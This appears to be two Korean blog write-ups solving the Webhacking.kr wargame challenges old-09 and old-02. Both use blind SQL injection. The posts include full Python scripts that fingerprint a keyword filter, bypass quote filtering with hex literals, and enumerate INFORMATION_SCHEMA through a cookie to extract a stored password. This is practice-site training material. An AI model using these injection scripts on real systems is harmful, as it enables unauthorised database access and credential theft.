Old-09 Domain & Tool

  • 구분 : Blind SQL Injection
  • 문제풀이에 사용된 도구 
    • python 3.10
      • Module : requests, BeautifulSoup4

Old-09 Question & Answer

문제의 화면은 1,2,3의 a태그가 걸려있고, Password 를 입력하는 필드가 있다. 우선 국룰로 password에 ' or 1=1-- 해보자

우선 GET방식으로 동작한다는 것은 알았고, 날먹은 안된다는 것을 알았다. 각각의 a태그를 클릭해서 동작을 확인해보자

각각 1,2,3의 태그를 눌었을때의 화면의 변화이다. 3의 값이 <b>Secret로 no'3의 id가 password라는 값이라는 것을 알 수 있다. url의 no가 get방식으로 변경되는데 이곳에 sql injection이 가능한지 보자

일단 작은따옴표 특수문자가 막혀있다. 다만 모든 sql injection의 keyword를 막아둔것은 아닌것으로 보인다.

괄호를 입력했을때의 결과이다. Access Denied가 아니라 apple / banana / Secret을 안띄우는 그냥 textfield가 출력된다. 이를 이용하면 blind sql injection을 적용할 수 있을거 같다. 다른 해답블로그포스팅에 본인보다 해설이 잘 설명되어있다보니까 조금의 차별화를 위해서 MySQL site에서 모든 Keyword를 다운로드 받아서 뭐가 돌아가고 안돌아가는지 PASS FAIL 리스트를 만드는 코드를 추가로 짜보았다.

 

MySQL :: MySQL 8.0 Reference Manual :: 9.3 Keywords and Reserved Words

9.3 Keywords and Reserved Words Keywords are words that have significance in SQL. Certain keywords, such as SELECT, DELETE, or BIGINT, are reserved and require special treatment for use as identifiers such as table and column names. This may also be true

dev.mysql.com

from requests import get
import string
from bs4 import * 




if __name__=="__main__" :

    url = "https://webhacking.kr/challenge/web-09/?no="
    header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"}
    cookie = {"PHPSESSID":"//자신의 PHPSESSID//",}

    ### Build SQL QUERY
    with open("SQL_RESERVED_WORD.dat","r") as f:
        words = f.read().split("\n")

    test_list = [word for word in words
                 if word.strip()!=""and
                 len(word.strip())!=1]

    for i in range(len(test_list)) :
        if ";" in test_list[i] :
            test_list[i] = test_list[i].split(";")[0].strip()
            
        test_list[i] = test_list[i].replace("(R)","").strip()
        test_list[i] = test_list[i].replace("(nonreserved)","").strip()

    test_list = test_list + list(string.punctuation)

    pass_list = []
    fail_list = []

    for case in test_list :

        new_url = url+case

        res = get(new_url, headers=header, cookies=cookie)
        soup = BeautifulSoup(res.content,"html.parser")

        if ("Access Denied" in soup.text) :
            fail_list.append(case)
            print(case,"FAIL")
        else :
            pass_list.append(case)
            print(case,"PASS")

    with open("PASS_SQL_LIST.dat","w") as f:
        for p in pass_list :
            f.write(p+"\n")
    
    with open("FAIL_SQL_LIST.dat","w") as f:
        for fa in fail_list :
            f.write(fa+"\n")

결과로 통과되는 SQL Keyword가 훨씬 많다 궁금한 사람은 아래의 스압압박글을 확인해보자

더보기
  • 통과 : 'ACCESSIBLE', 'ACCOUNT', 'ACTION', 'ACTIVE', 'ADD', 'ADMIN', 'AFTER', 'AGAINST', 'AGGREGATE', 'ALL', 'ALTER', 'ALWAYS', 'ANALYSE', 'ANALYZE', 'ANY', 'ARRAY', 'AS', 'ASC', 'ASENSITIVE', 'AT', 'ATTRIBUTE', 'AUTHENTICATION', 'AUTOEXTEND_SIZE', 'AUTO_INCREMENT', 'AVG', 'AVG_ROW_LENGTH', 'BACKUP', 'BEGIN', 'BETWEEN', 'BIGINT', 'BIT', 'BLOB', 'BLOCK', 'BOOL', 'BOOLEAN', 'BOTH', 'BTREE', 'BUCKETS', 'BY', 'BYTE', 'CACHE', 'CALL', 'CASCADE', 'CASCADED', 'CASE', 'CATALOG_NAME', 'CHAIN', 'CHALLENGE_RESPONSE', 'CHANGE', 'CHANGED', 'CHANNEL', 'CHECK', 'CHECKSUM', 'CIPHER', 'CLIENT', 'CLONE', 'CLOSE', 'COALESCE', 'CODE', 'COLLATE', 'COLLATION', 'COLUMN', 'COLUMNS', 'COLUMN_NAME', 'COMMENT', 'COMMIT', 'COMMITTED', 'COMPACT', 'COMPLETION', 'COMPONENT', 'COMPRESSED', 'COMPRESSION', 'CONCURRENT', 'CONDITION', 'CONNECTION', 'CONSISTENT', 'CONSTRAINT', 'CONSTRAINT_CATALOG', 'CONSTRAINT_NAME', 'CONSTRAINT_SCHEMA', 'CONTAINS', 'CONTEXT', 'CONTINUE', 'CPU', 'CREATE', 'CROSS', 'CUBE', 'CUME_DIST', 'CURRENT', 'CURRENT_DATE', 'CURRENT_TIME', 'CURRENT_TIMESTAMP', 'CURRENT_USER', 'DATA', 'DATABASE', 'DATABASES', 'DATAFILE', 'DATE', 'DATETIME', 'DAY', 'DAY_HOUR', 'DAY_MICROSECOND', 'DAY_MINUTE', 'DAY_SECOND', 'DEC', 'DECIMAL', 'DECLARE', 'DEFAULT', 'DEFAULT_AUTH', 'DEFINER', 'DEFINITION', 'DELAYED', 'DELAY_KEY_WRITE', 'DELETE', 'DENSE_RANK', 'DESC', 'DESCRIBE', 'DESCRIPTION', 'DES_KEY_FILE', 'DETERMINISTIC', 'DIAGNOSTICS', 'DISABLE', 'DISCARD', 'DISK', 'DISTINCT', 'DISTINCTROW', 'DIV', 'DO', 'DOUBLE', 'DROP', 'DUAL', 'DUMPFILE', 'DUPLICATE', 'DYNAMIC', 'EACH', 'ELSE', 'ELSEIF', 'EMPTY', 'ENABLE', 'ENCLOSED', 'ENCRYPTION', 'END', 'ENDS', 'ENGINE', 'ENGINES', 'ENGINE_ATTRIBUTE', 'ENUM', 'ESCAPE', 'ESCAPED', 'EVENT', 'EVENTS', 'EVERY', 'EXCEPT', 'EXCHANGE', 'EXCLUDE', 'EXECUTE', 'EXISTS', 'EXIT', 'EXPANSION', 'EXPIRE', 'EXPLAIN', 'EXTENDED', 'EXTENT_SIZE', 'FAILED_LOGIN_ATTEMPTS', 'FALSE', 'FAST', 'FAULTS', 'FETCH', 'FILE', 'FILE_BLOCK_SIZE', 'FILTER', 'FINISH', 'FIRST', 'FIRST_VALUE', 'FIXED', 'FLOAT', 'FLOAT4', 'FLOAT8', 'FLUSH', 'FOLLOWING', 'FOLLOWS', 'FOUND', 'FULL', 'FULLTEXT', 'FUNCTION', 'GENERAL', 'GENERATED', 'GEOMCOLLECTION', 'GEOMETRY', 'GEOMETRYCOLLECTION', 'GET', 'GET_MASTER_PUBLIC_KEY', 'GET_SOURCE_PUBLIC_KEY', 'GLOBAL', 'GRANT', 'GRANTS', 'GROUP', 'GROUPING', 'GROUPS', 'GROUP_REPLICATION', 'GTID_ONLY', 'HASH', 'HAVING', 'HELP', 'HISTOGRAM', 'HOST', 'HOSTS', 'HOUR', 'HOUR_MICROSECOND', 'HOUR_MINUTE', 'HOUR_SECOND', 'IDENTIFIED', 'IF', 'IN', 'INACTIVE', 'INDEX', 'INDEXES', 'INFILE', 'INITIAL', 'INITIAL_SIZE', 'INITIATE', 'INNER', 'INOUT', 'INSENSITIVE', 'INSTALL', 'INSTANCE', 'INT', 'INT1', 'INT2', 'INT3', 'INT4', 'INT8', 'INTEGER', 'INTERSECT', 'INTERVAL', 'INTO', 'INVISIBLE', 'INVOKER', 'IO', 'IO_AFTER_GTIDS', 'IO_THREAD', 'IPC', 'IS', 'ISOLATION', 'ISSUER', 'ITERATE', 'JOIN', 'JSON', 'JSON_TABLE', 'JSON_VALUE', 'KEY', 'KEYRING', 'KEYS', 'KEY_BLOCK_SIZE', 'KILL', 'LAG', 'LANGUAGE', 'LAST', 'LAST_VALUE', 'LATERAL', 'LEAD', 'LEADING', 'LEAVE', 'LEAVES', 'LESS', 'LEVEL', 'LIKE', 'LINEAR', 'LINES', 'LINESTRING', 'LIST', 'LOCAL', 'LOCALTIME', 'LOCALTIMESTAMP', 'LOCK', 'LOCKED', 'LOCKS', 'LOGFILE', 'LOGS', 'LONG', 'LONGBLOB', 'LONGTEXT', 'LOOP', 'MASTER', 'MASTER_AUTO_POSITION', 'MASTER_CONNECT_RETRY', 'MASTER_DELAY', 'MASTER_HEARTBEAT_PERIOD', 'MASTER_HOST', 'MASTER_LOG_FILE', 'MASTER_LOG_POS', 'MASTER_PUBLIC_KEY_PATH', 'MASTER_RETRY_COUNT', 'MASTER_SERVER_ID', 'MASTER_SSL', 'MASTER_SSL_CA', 'MASTER_SSL_CAPATH', 'MASTER_SSL_CERT', 'MASTER_SSL_CIPHER', 'MASTER_SSL_CRL', 'MASTER_SSL_CRLPATH', 'MASTER_SSL_KEY', 'MASTER_SSL_VERIFY_SERVER_CERT', 'MASTER_TLS_CIPHERSUITES', 'MASTER_TLS_VERSION', 'MASTER_USER', 'MASTER_ZSTD_COMPRESSION_LEVEL', 'MATCH', 'MAXVALUE', 'MAX_CONNECTIONS_PER_HOUR', 'MAX_QUERIES_PER_HOUR', 'MAX_ROWS', 'MAX_SIZE', 'MAX_UPDATES_PER_HOUR', 'MAX_USER_CONNECTIONS', 'MEDIUM', 'MEDIUMBLOB', 'MEDIUMINT', 'MEDIUMTEXT', 'MEMBER', 'MERGE', 'MESSAGE_TEXT', 'MICROSECOND', 'MIGRATE', 'MINUTE', 'MINUTE_MICROSECOND', 'MINUTE_SECOND', 'MIN_ROWS', 'MOD', 'MODE', 'MODIFIES', 'MODIFY', 'MONTH', 'MULTILINESTRING', 'MULTIPOINT', 'MULTIPOLYGON', 'MUTEX', 'MYSQL_ERRNO', 'NAME', 'NAMES', 'NATIONAL', 'NATURAL', 'NDB', 'NDBCLUSTER', 'NESTED', 'NEVER', 'NEW', 'NEXT', 'NO', 'NODEGROUP', 'NONE', 'NOWAIT', 'NO_WAIT', 'NTH_VALUE', 'NTILE', 'NULL', 'NULLS', 'NUMBER', 'NUMERIC', 'OF', 'OFF', 'OJ', 'OLD', 'ON', 'ONE', 'ONLY', 'OPEN', 'OPTIMIZE', 'OPTIMIZER_COSTS', 'OPTION', 'OPTIONAL', 'OPTIONALLY', 'OPTIONS', 'OTHERS', 'OUT', 'OUTER', 'OUTFILE', 'OVER', 'OWNER', 'PACK_KEYS', 'PAGE', 'PARSER', 'PARTIAL', 'PARTITION', 'PARTITIONING', 'PARTITIONS', 'PATH', 'PERCENT_RANK', 'PERSIST', 'PERSIST_ONLY', 'PHASE', 'PLUGIN', 'PLUGINS', 'PLUGIN_DIR', 'POINT', 'POLYGON', 'PRECEDES', 'PRECEDING', 'PRECISION', 'PREPARE', 'PRESERVE', 'PREV', 'PRIMARY', 'PRIVILEGES', 'PRIVILEGE_CHECKS_USER', 'PURGE', 'QUARTER', 'QUERY', 'QUICK', 'RANGE', 'RANK', 'READ', 'READS', 'READ_ONLY', 'READ_WRITE', 'REAL', 'REBUILD', 'RECOVER', 'RECURSIVE', 'REDOFILE', 'REDO_BUFFER_SIZE', 'REDUNDANT', 'REFERENCE', 'REFERENCES', 'REGEXP', 'REGISTRATION', 'RELAY', 'RELAYLOG', 'RELAY_LOG_FILE', 'RELAY_LOG_POS', 'RELAY_THREAD', 'RELEASE', 'REMOTE', 'REMOVE', 'RENAME', 'REPAIR', 'REPEAT', 'REPEATABLE', 'REPLACE', 'REPLICA', 'REPLICAS', 'REPLICATE_DO_DB', 'REPLICATE_DO_TABLE', 'REPLICATE_REWRITE_DB', 'REPLICATE_WILD_DO_TABLE', 'REPLICATION', 'REQUIRE', 'RESIGNAL', 'RESOURCE', 'RESPECT', 'RESTART', 'RESTRICT', 'RESUME', 'RETAIN', 'RETURN', 'RETURNED_SQLSTATE', 'RETURNING', 'RETURNS', 'REUSE', 'REVERSE', 'REVOKE', 'RIGHT', 'RLIKE', 'ROLE', 'ROLLBACK', 'ROLLUP', 'ROTATE', 'ROUTINE', 'ROW', 'ROWS', 'ROW_COUNT', 'ROW_NUMBER', 'RTREE', 'SAVEPOINT', 'SCHEDULE', 'SCHEMA', 'SCHEMAS', 'SCHEMA_NAME', 'SECOND', 'SECONDARY', 'SECONDARY_ENGINE', 'SECONDARY_ENGINE_ATTRIBUTE', 'SECOND_MICROSECOND', 'SECURITY', 'SENSITIVE', 'SERIAL', 'SERIALIZABLE', 'SERVER', 'SESSION', 'SHARE', 'SHOW', 'SHUTDOWN', 'SIGNAL', 'SIGNED', 'SIMPLE', 'SKIP', 'SLAVE', 'SLOW', 'SMALLINT', 'SNAPSHOT', 'SOCKET', 'SOME', 'SONAME', 'SOUNDS', 'SOURCE', 'SOURCE_AUTO_POSITION', 'SOURCE_CONNECT_RETRY', 'SOURCE_DELAY', 'SOURCE_HEARTBEAT_PERIOD', 'SOURCE_HOST', 'SOURCE_LOG_FILE', 'SOURCE_LOG_POS', 'SOURCE_PUBLIC_KEY_PATH', 'SOURCE_RETRY_COUNT', 'SOURCE_SSL', 'SOURCE_SSL_CA', 'SOURCE_SSL_CAPATH', 'SOURCE_SSL_CERT', 'SOURCE_SSL_CIPHER', 'SOURCE_SSL_CRL', 'SOURCE_SSL_CRLPATH', 'SOURCE_SSL_KEY', 'SOURCE_SSL_VERIFY_SERVER_CERT', 'SOURCE_TLS_CIPHERSUITES', 'SOURCE_TLS_VERSION', 'SOURCE_USER', 'SOURCE_ZSTD_COMPRESSION_LEVEL', 'SPATIAL', 'SPECIFIC', 'SQL', 'SQLEXCEPTION', 'SQLSTATE', 'SQLWARNING', 'SQL_AFTER_GTIDS', 'SQL_AFTER_MTS_GAPS', 'SQL_BIG_RESULT', 'SQL_BUFFER_RESULT', 'SQL_CACHE', 'SQL_CALC_FOUND_ROWS', 'SQL_NO_CACHE', 'SQL_SMALL_RESULT', 'SQL_THREAD', 'SQL_TSI_DAY', 'SQL_TSI_HOUR', 'SQL_TSI_MINUTE', 'SQL_TSI_MONTH', 'SQL_TSI_QUARTER', 'SQL_TSI_SECOND', 'SQL_TSI_WEEK', 'SQL_TSI_YEAR', 'SRID', 'SSL', 'STACKED', 'START', 'STARTING', 'STARTS', 'STATS_AUTO_RECALC', 'STATS_PERSISTENT', 'STATS_SAMPLE_PAGES', 'STATUS', 'STOP', 'STRAIGHT_JOIN', 'STREAM', 'STRING', 'SUBJECT', 'SUBPARTITION', 'SUBPARTITIONS', 'SUPER', 'SUSPEND', 'SWAPS', 'SWITCHES', 'SYSTEM', 'TABLE', 'TABLES', 'TABLESPACE', 'TABLE_CHECKSUM', 'TABLE_NAME', 'TEMPTABLE', 'TERMINATED', 'TEXT', 'THAN', 'THEN', 'TIES', 'TIME', 'TIMESTAMP', 'TIMESTAMPADD', 'TIMESTAMPDIFF', 'TINYBLOB', 'TINYINT', 'TINYTEXT', 'TLS', 'TO', 'TRAILING', 'TRANSACTION', 'TRIGGER', 'TRIGGERS', 'TRUE', 'TRUNCATE', 'TYPE', 'TYPES', 'UNBOUNDED', 'UNCOMMITTED', 'UNDEFINED', 'UNDO', 'UNDOFILE', 'UNDO_BUFFER_SIZE', 'UNICODE', 'UNINSTALL', 'UNIQUE', 'UNKNOWN', 'UNLOCK', 'UNREGISTER', 'UNSIGNED', 'UNTIL', 'UPDATE', 'UPGRADE', 'USAGE', 'USE', 'USER', 'USER_RESOURCES', 'USE_FRM', 'USING', 'UTC_DATE', 'UTC_TIME', 'UTC_TIMESTAMP', 'VALIDATION', 'VALUE', 'VALUES', 'VARIABLES', 'VARYING', 'VCPU', 'VIEW', 'VIRTUAL', 'VISIBLE', 'WAIT', 'WARNINGS', 'WEEK', 'WEIGHT_STRING', 'WHEN', 'WHERE', 'WHILE', 'WINDOW', 'WITH', 'WITHOUT', 'WRAPPER', 'WRITE', 'X509', 'XA', 'XID', 'XML', 'YEAR', 'YEAR_MONTH', 'ZEROFILL', 'ZONE', '#', '$', '&', "'", '(', ')', '*', ',', '.', ':', ';', '?', '@', '_', '~', ''
  • 실패 : 'ALGORITHM', 'AND', 'ASCII', 'BEFORE', 'BINARY', 'BINLOG', 'CHAR', 'CHARACTER', 'CHARSET', 'CLASS_ORIGIN', 'COLUMN_FORMAT', 'CONVERT', 'CURSOR', 'CURSOR_NAME', 'DEALLOCATE', 'DIRECTORY', 'ENFORCED', 'ERROR', 'ERRORS', 'EXPORT', 'FACTOR', 'FIELDS', 'FOR', 'FORCE', 'FOREIGN', 'FORMAT', 'FROM', 'GET_FORMAT', 'HANDLER', 'HIGH_PRIORITY', 'HISTORY', 'IGNORE', 'IGNORE_SERVER_IDS', 'IMPORT', 'INSERT', 'INSERT_METHOD', 'IO_BEFORE_GTIDS', 'LEFT', 'LIMIT', 'LOAD', 'LOW_PRIORITY', 'MASTER_BIND', 'MASTER_COMPRESSION_ALGORITHMS', 'MASTER_PASSWORD', 'MASTER_PORT', 'MEMORY', 'MIDDLEINT', 'NCHAR', 'NETWORK_NAMESPACE', 'NOT', 'NO_WRITE_TO_BINLOG', 'NVARCHAR', 'OFFSET', 'OR', 'ORDER', 'ORDINALITY', 'ORGANIZATION', 'PASSWORD', 'PASSWORD_LOCK_TIME', 'PORT', 'PROCEDURE', 'PROCESS', 'PROCESSLIST', 'PROFILE', 'PROFILES', 'PROXY', 'RANDOM', 'RELOAD', 'REORGANIZE', 'REPLICATE_IGNORE_DB', 'REPLICATE_IGNORE_TABLE', 'REPLICATE_WILD_IGNORE_TABLE', 'REQUIRE_ROW_FORMAT', 'RESET', 'RESTORE', 'ROW_FORMAT', 'SECONDARY_LOAD', 'SECONDARY_UNLOAD', 'SELECT', 'SEPARATOR', 'SET', 'SOURCE_BIND', 'SOURCE_COMPRESSION_ALGORITHMS', 'SOURCE_PASSWORD', 'SOURCE_PORT', 'SQL_BEFORE_GTIDS', 'STORAGE', 'STORED', 'SUBCLASS_ORIGIN', 'TEMPORARY', 'THREAD_PRIORITY', 'UNION', 'VARBINARY', 'VARCHAR', 'VARCHARACTER', 'WORK', 'XOR', '!', '"', '%', '+', '-', '/', '<', '=', '>', '[', '\\', ']', '^', '`', '{', '|', '}', ''

그래서 결국 이번 Blind SQL에 쓰이는 것은 if와 length정도이다. 두개의 parameter를 보낼 것인데, 다음과 같다. if문을 쓰는 이유는 참일결과를 3으로 반환하면 Secret이라는 값을, 거짓을 반환하면 아무것도 안나오는 것을 이용하기 위함이다.(1,2로 반환해서 apple, banana쓰는건 자유다)

  • no=if(length(id)like({}),3,0) : id의 길이를 알기위함이다.{}에는 1~ pw의 길이까지 반복자가 들어갈 것이다.
  • if(substr(id,{},1)like({}),3,0) : id의 문자열을 알기위함이다. {}에는 pw의 인덱스와 문자열이 들어갈건데, 문자열은 따옴표들이 자단되어있고, ascii함수또한 집에갔으니, 헥스값(0xXX)로 변경해서 보낼것이다.

그래서 전체코드는 다음과 같다.

from requests import get
import string
from bs4 import * 

if __name__=="__main__" :

    url = "https://webhacking.kr/challenge/web-09/?no="
    header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"}
    cookie = {"PHPSESSID":"// 자신의 PHPSESSID //",}

    pw_len = 0

	
    print("### Start Blind SQL Injection ###")

    while(True) :
        print("Test for pw_len",pw_len)

        parameter = "if(length(id)like({}),3,0)".format(pw_len)

        new_url = url+parameter
        res = get(new_url, headers=header, cookies=cookie)
        soup = BeautifulSoup(res.content,"html.parser")

        if("Secret" in soup.text) :
            print("Found Length",pw_len)
            break
        pw_len +=1

    pw = ""
    test_char = list(string.ascii_lowercase+string.punctuation)

    for index in range(1,pw_len+1) :

        for ch in test_char :
            parameter = "if(substr(id,{},1)like({}),3,0)".format(index,hex(ord(ch)))
            new_url = url+parameter
            res = get(new_url, headers=header, cookies=cookie)
            soup = BeautifulSoup(res.content,"html.parser")

            if("Secret" in soup.text) :
                pw += ch
                break

            if(test_char.index(ch)==(len(test_char)-1)) :
                print("Something Strange man")
        
        print("cur_pw :",pw)

    print("End Blind SQL Injection :",pw)

결과를 password 텍스트 박스에 입력하자

'WarGame > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-11 Answer  (0) 2022.07.14
[Webhacking.kr] old-10 Answer  (0) 2022.07.14
[Webhacking.kr] old-08 Answer  (0) 2022.07.10
[Webhacking.kr] old-07 Answer  (0) 2022.07.10
[Webhacking.kr] old-06 Answer  (0) 2022.07.10

Old-02 Domain & Tool

  • 구분 : Blind SQL Injection
  • 문제풀이에 사용된 도구 
    • Chrome 103.0.5060.66 관리도구[F12]
    • python 3.10
      • Module : requests

Old-02 Question & Answer

들어가면 Restricted area라는 안내문과 "Hello Stranger. Your IP is Logging"이라고 써있다. 특별한 코드나 반응은 보이지 않으니, 코드를 확인해보자

다른거는 모르겠는데. 이상한 시간으로 주석이 생성되어있고, 아래 "admin.php"로 들어가면 안된다는 이야기를 하고 있다. 역시- 바로 들어간다.

으흠.. Password를 입력해야 이 문제를 해결할 수 있을거 같다. PW를 입력하는 곳이니 한번 이곳에 SQL Injection코드를 시도해보자

<SQL Injection실패>

But 이 Field에 SQL Injection은 허용되지 않는거 같다. 여러특수문자를 시도해봤는데, 잘 안되었으니 말이다. 아까전에 보았던 이상한 주석(시간주석)으로 눈길을 돌려보자

<시간주석과 Time 이라는 쿠키>

PHPSESSID는 인간별로 지급되는 세션키이지만. Time이라는 이상한 쿠키값을 확인할 수 있다. 지금은 필자의 브라우저에서는 1512값으로 되어있는데, 주석은 2070-01-01 09:25:12로 되어있다. 값을 여러가지로 해보니까 다음과 같은 결과를 얻을 수 있었다.

  • 1512 : 2070-01-01 09:25:12
  • 10000 : 2070-01-01 11:46:40
  • 1 : 2070-01-01 09:00:01
  • 2 : 2070-01-01 09:00:02
  • 0 : 튕김, 강제로 1657186520(2022-07-07 06:35:20)로 변경되었음

응?? 이상하다. 1과 2, 1512, 10000의 결과로 2070-01-01 09:00:00 에서 시작되는 값인거는 알았는데, 0을 집어넣어서 09:00:00을 기대했는데, Refresh된다. Refresh 되지 못하게 그 전의 Response를 확인할 겸 Python으로 정보를 요청해보자

from requests import get

if __name__=="__main__" :
    
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"}
    url = "https://webhacking.kr/challenge/web-02"
    cookie = {
        "PHPSESSID":"//본인의 PHPSESSID //",
        'time' :'0',
    }
    
    req = get(url,cookies=cookie,headers=headers)
    print(req.content)
## 결과

b"<script>location.href='./';</script>"

어머나... 그냥 새로고침하는 코드가 도착했다. 이곳이 필터링없이 DB에 들어가는 파라미터일 수 도 있으니, 이곳에 부정을 의미하는 코드를 집어넣어보자

from requests import get

if __name__=="__main__" :
    
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"}
    url = "https://webhacking.kr/challenge/web-02"
    cookie = {
        "PHPSESSID":"// 본인의 PHPSESSID //",
        'time' :'0 or 1=0',		### 강제로 부정이 들어가게 해보았다.
    }
    
    req = get(url,cookies=cookie,headers=headers)
    print(req.content)

 

## 결과

b'<!--\n2070-01-01 09:00:00\n-->\n<h2>Restricted area
</h2>Hello stranger. Your IP is logging...
<!-- if you access admin.php i will kick your ass -->'

오호 09:00:00이 나왔다. 미루어보아 위에 1,2,1512를 넣었을 때 참을 의미하는 1이상의 정수를 넣으면 그만큼 초가 나오고 거짓이면 09:00:00가 나온다.

 

Blind SQL Injection하기에 최적의 조건이다. 이곳에서 여러가지의 Query문을 사용할 것인데, Table(SQL : 1,2,3)과 Column(SQL : 4,5,6)에 각각 개수를 알아내는 쿼리 -> 길이를 알아내는 쿼리 -> 이름을 알아내는 쿼리 를 수행한다. 아래와 같다.

  1. (SELECT count(table_name) FROM INFORMATION_SCHEMA.Tables WHERE TABLE_SCHEMA=database()) : TABLE_SCHEMA가 database()이면 현재 연결중인 dbo만 대상으로 한다. information_schema.tables는 DB에서 사용하는 모든 Table의 정보들이 포함되어있다. 우리는 우선 이 코드에 연결된 DB Table이 어떤 이름인지를 알아볼것이다. 그러기 위해 table이 몇개있는지 부터 확인한다.
  2. (SELECT length(table_name) FROM INFORMATION_SCHEMA.Tables WHERE TABLE_SCHEMA=database() limit x, 1)" : table이 몇개 있는지 확인되었으면 다음으로는 각각의 Table_Name의 길이를 알아낼 차례이다. 사실은 바로 ascii와 substring을 사용해도 상관없지만, python코드를 위해서 추가해 보았다.
  3. (SELECT ascii(substring(table_name,X,1)) FROM INFORMATION_SCHEMA.Tables WHERE TABLE_SCHEMA=database() limit X, 1) : 길이를 알아내었으면, 이 길이까지 ascii와 substring을 이용해서 글자를 가져올것이다. 예를들어 ascii(substring(table_name, 1,1)) 결과가 'a'를 의미하는 97이라면 time의 쿠키는 97이 들어 갈곳이고, 시간은 09:01:37이 될것이다.
  4. (SELECT count(column_name) from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='table_name') : Table이름을 알아내었으니, INFORMATION_SCHEMA.COLUMNS에서 이 Table의 컬럼명을 알아낼 것이다. 그러기 위해서 '1'의 SQL문과 같이 컬럼의 개수부터 확인한다.
  5. (SELECT length(column_name) from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='table_name' limit X, 1) : '2'와 같은 목적의 SQL문이다. 다만 이번에 알아낼 길이는 Table명이 아닌 Column의 명이다.
  6. (SELECT ascii(substring(column_name,X,1)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='table_name' limit X, 1) : '3'와 같은 목적의 SQL문이다. 다만 Column의 이름을 알아낼 것이다.

이런식으로 Table과 column의 구조를 알아내어보았다.

### START BLIND SQL INJECTION ###
{'admin_area_pw': ['pw'], 'log': ['pw', 'ip', 'time']}

이곳에는 'admin_area_pw'라는 table과 'log'라는 이름의 table이 있다. 'admin_area_pw'의 pw라는 컬럼에 우리가 원하는 admin.php에서 사용되는 PW가 있을거라는 극한의 추측을 할 수 있다. admin_area_pw에는 오로지 한개의 tuple밖에 존재하지 않는다. 다행! sql injection을 마무리하자 (실제로 풀어보기를 바란다.)

전체코드

from requests import post,get
import re

def parse_request_value(request) :

    content = str(request.content)
    pat = re.compile('[0-9]{2}:[0-9]{2}:[0-9]{2}')
    time = pat.findall(content)[0]
    hour = int(time[0:2])
    minute = int(time[3:5])
    sec = int(time[6:8])
    return minute*60 + sec

def join_ascii_list(ascii_list) :
    char_list = [chr(x) for x in ascii_list]
    return ''.join(char_list)

if __name__=="__main__" :

    sql = ""                            ### Used for Many way
    total_table = dict()                ### key : table_name, value : column_name(list)

    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"}
    url = "https://webhacking.kr/challenge/web-02"
    cookie = {
        "PHPSESSID":"//본인의 PHPSESSID //",
        'time' :'1',
    }


    print("### START BLIND SQL INJECTION ###")
    
    ### find count(*) of all tables ###
    sql = "(SELECT count(table_name) FROM INFORMATION_SCHEMA.Tables WHERE TABLE_SCHEMA=database())"
    cookie['time'] = sql
    req = get(url,cookies=cookie,headers=headers)
    total_table_count = parse_request_value(req)
    
    
    ### make total_table : dict ###
    for ti in range(total_table_count):
        sql = "(SELECT length(table_name) FROM INFORMATION_SCHEMA.Tables WHERE TABLE_SCHEMA=database() limit "+str(ti)+", 1)"
        cookie['time'] = sql
        req = get(url,cookies=cookie,headers=headers)
        table_name_length = parse_request_value(req)
    
        table_name_ascii_list = list()

        for tni in range(1,table_name_length+1) :
            sql = "(SELECT ascii(substring(table_name,"+str(tni)+",1)) FROM INFORMATION_SCHEMA.Tables WHERE TABLE_SCHEMA=database() limit "+str(ti)+", 1)"
            cookie['time'] = sql
            req = get(url,cookies=cookie,headers=headers)
            table_name_ascii_list.append(parse_request_value(req))
        
        total_table[join_ascii_list(table_name_ascii_list)] = list()

        for tb_name in total_table.keys() :
            sql = "(SELECT count(column_name) from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='"+tb_name+"')"
            cookie['time'] = sql
            req = get(url,cookies=cookie,headers=headers)
            column_count = parse_request_value(req)
                
            for ci in range(column_count) :
                sql = "(SELECT length(column_name) from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='"+tb_name+"' limit "+str(ci)+", 1)"
                cookie['time'] = sql
                req = get(url,cookies=cookie,headers=headers)
                column_length = parse_request_value(req)

                column_name_ascii_list = list()

                for cni in range(1,column_length+1) :
                    sql = "(SELECT ascii(substring(column_name,"+str(cni)+",1)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='"+tb_name+"' limit "+str(ci)+", 1)"
                    cookie['time'] = sql
                    req = get(url,cookies=cookie,headers=headers)
                    column_name_ascii_list.append(parse_request_value(req))

                total_table[join_ascii_list(table_name_ascii_list)].append(join_ascii_list(column_name_ascii_list))

    print(total_table)
                
    answer_table = "admin_area_pw"
    answer_column = "pw"
    
    ### get count(column_name) of answer_table ###
    sql = "(SELECT count("+answer_column+") FROM "+answer_table+")"
    cookie['time'] = sql
    req = get(url,cookies=cookie,headers=headers)
    rows_of_answer_table = parse_request_value(req)
    
    ### get length of answer_column ###
    sql = "(SELECT length("+answer_column+") FROM "+answer_table+")"
    cookie['time'] = sql
    req = get(url,cookies=cookie,headers=headers)
    length_of_answer = parse_request_value(req)

    ### get password ###
    pw_ascii_list = list()
    for i in range(1,length_of_answer+1) :
        sql = "(SELECT ascii(substring("+answer_column+","+str(i)+",1)) FROM "+answer_table+")"
        cookie['time'] = sql
        req = get(url,cookies=cookie,headers=headers)
        pw_ascii_list.append(parse_request_value(req))
    
    print("PW : "+join_ascii_list(pw_ascii_list))

 

'WarGame > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-06 Answer  (0) 2022.07.10
[Webhacking.kr] old-05 Answer  (0) 2022.07.10
[Webhacking.kr] old-04 Answer  (0) 2022.07.08
[Webhacking.kr] old-03 Answer  (0) 2022.07.07
